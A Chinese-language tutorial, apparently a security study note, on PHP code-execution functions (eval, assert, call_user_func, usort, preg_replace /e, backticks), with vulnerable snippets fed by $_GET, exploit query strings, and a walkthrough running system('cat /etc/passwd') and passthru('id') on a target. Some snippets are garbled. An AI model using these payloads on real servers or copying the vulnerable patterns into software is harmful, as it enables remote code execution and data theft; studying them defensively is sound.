概述

在代码里执行代码,终其目的,是解释性语言为了让程序更具备灵活性,能把代码即时性的翻译并执行。
在php里,被我们熟知的2个函数被用来动态执行代码:
eval


tip: 看手册是一种能力的提现,有官网手册参考,是最好的帮助。
https://www.php.net/manual/zh/function.eval.php
assert

https://www.php.net/manual/zh/function.assert.php
很多绝好的技巧,基本上都是挖掘自官网的帮助手册? 真正的剑谱!
call_user_func()
<?phphighlight_file(_FILE_);$a='system';$b='pwd';call_user_func($a,$b);call_user_func('assert','phpinfo()');?>
$a=’system’;
$b=’pwd’;
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行system(‘pwd’)
以下函数不能被call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()
call_user_func_array()
$a=’assert’;
$b=array(‘phpinfo()’);
call_user_func_array($a,$b) 第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组
create_function()
<?phphighlight_file(_FILE_);$a=create_function('$code','echo $code;');$b='hello';$a($b);$a='phpinfo();';$b=create_fuction(' ',$a);$b();?>
$a=create_function(‘$code’,’echo $code;’);
$b=’hello’;
$a($b);
创建了一个匿名函数,直接给了$a,第一个参定义了一个参数,第二个参数定义了执行效果
array_map()
arraymap 为数组的每个元素应用回调函数
<?phphighlight_file(_FILE);
$a=$_GET[‘a’];
$b=$_GET[‘b’];
$array[0]=$b;
$c=array_map($a,$array);
?>
usort()
使用用户自定义的比较函数对数组中的值进行排序
<?phphighlight_file(_FILE_);usort(...$_GET);#usort($_GET[1],'assert')?>
利用的时候要传两个参数:1[]=phpinfo&1[]=123&2=assert,传的命令要放在数组的第一个
${phpinfo}
${里面的命令当作php代码执行}
system()
执行系统命令
<?php highlight_file(_FILE_);system('pwd');system('whoami');?>
preg_replace /e
执行一个正则表达式的搜索和替换
preg_replace($pattern, $replacement, $subject)
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换
<?php$str = 'fl ag';$str = preg_replace('/\s+/', ' ', $str);echo $str;// 将会改变为'fl ag'?>

如果您尝试匹配该字符,则应转义以下内容 \ ^。 $ | ()[]
- +? {}, 特殊字符定义 \引用下一个元字符 ^匹配行首 。匹配任何字符(换行符除外) $匹配行尾(或在换行符之前) |轮换 ()分组
[]角色类别
*匹配0次或更多次
+匹配1次或更多次
?匹配1或0次
{n}完全匹配n次
{n,}至少匹配n次
{n,m}至少匹配n次,但不超过m次
更多特殊字符的东西
\t 标签(HT,TAB)
\n 换行符(LF,NL)
\r 返回(CR)
\f 换页(FF)
\a 警报(响铃)(BEL)
\e 转义(认为troff)(ESC)
\033 八进制字符(以PDP-11为例)
\x1B 十六进制字符
\c[ 控制字符
\l 小写的下一个字符(想想vi)
\u 大写的下一个字符(想想vi)
\L 小写字母到\ E(想vi)
\U 大写字母直到\ E(想vi)
\E 结束案例修改(想想vi)
\Q 引用(禁用)模式元字符,直到\ E
甚至更多特殊字符
\w 匹配一个“单词”字符(字母数字加“ _”)
\W 匹配非单词字符
\s 匹配空白字符
\S 匹配非空格字符
\d 匹配数字字符
\D 匹配一个非数字字符
\b 匹配单词边界
\B 匹配非(单词边界)
\A 仅在字符串开头匹配
\Z 仅在字符串末尾或换行符末尾匹配
\z 仅在字符串末尾匹配
\G 仅在上一个m // g停止的地方匹配(仅适用于/ g)
如果他的 $pattern 有一个 /e 的修饰符,则可能有代码执行的风险
<?phpfunction complexStrtolower($regex,$value){return preg_replace('/('. $regex . ')/ei','strtolower("\\1")',$value);}foreach($_GET as $regex => $value){echo complexStrtolower($regex,$value) . "\n";}print_r($_GET);?>
相当于 eval(‘strtolower(“\1”);’)
而 \1 就是 \1 也就是匹配到的第一个
如果是这样的话就可以执行 phpinfo
<?phppreg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}');?>

但是如果传入的话 . 会被替换为 _,可以用其他通配符代替,比如\S*
漏洞初探
尝试输入一些一般字符和php内部的函数进行测试。
返回一片空白。
返回一片空白。
返回一片空白。



连phpinfo()内置函数也执行了,可以看到许多php模块集中信息出来。
开脑洞
提交喜欢的字符串,有暗示使用eval函数。eval函数我们可以输入常规的php代码,在探索中,我们发现,需要提交符合php语法格式的代码。若我们提交的是恶意的代码,是否可以让系统执行我们想运行的命令。执行函数很多,我们可以一一测试。
比如,我首先就想到让远程执行代码去远程执行命令,调用shell_exec函数。
shell_exec(“cat /etc/passwd”);
试试看,很可惜没有执行成功,空白页。注意,目标系统的过往史我们其实并不是很清楚,又不是APT攻击。所以,当一个函数不能被执行的时候,我们可以尝试其他的函数组合。
于是,我们把可以代码执行命令的方法都测试一次。这次脑洞如果打不开,换换脑子,再来开。
漏洞实战
带入 exec(‘ls’);
测试失败。
带入 system(‘ls’);
测试成功。
带入 system(‘cat /etc/passwd’);
测试成功。
带入 passthru(“id”);
测试成功。
带入 echo(cat /etc/passwd);
执行成功。
引申技巧
符号 `
位置,我给大家拍个照片看看:
就这个符号。
根据php的语言特性,但凡用这个字符包裹起来的字符串,都会被传入到系统底层去执行,然后把执行后的结果反馈回来。配合echo和字符串连接使用的话,会起到命令执行的效果。
<?php
$output =ls -al;
echo ““;
- $output
?><?php
$host = ‘www.163.com’;
echoping -n 3 {$host};
?>
注意:
关闭了 shell_exec() 时反引号运算符是无效的。 与其它某些语言不同,反引号不能在双引号字符串中使用。但$变量可以直接在双引号包裹中被替换。
摘自官网!
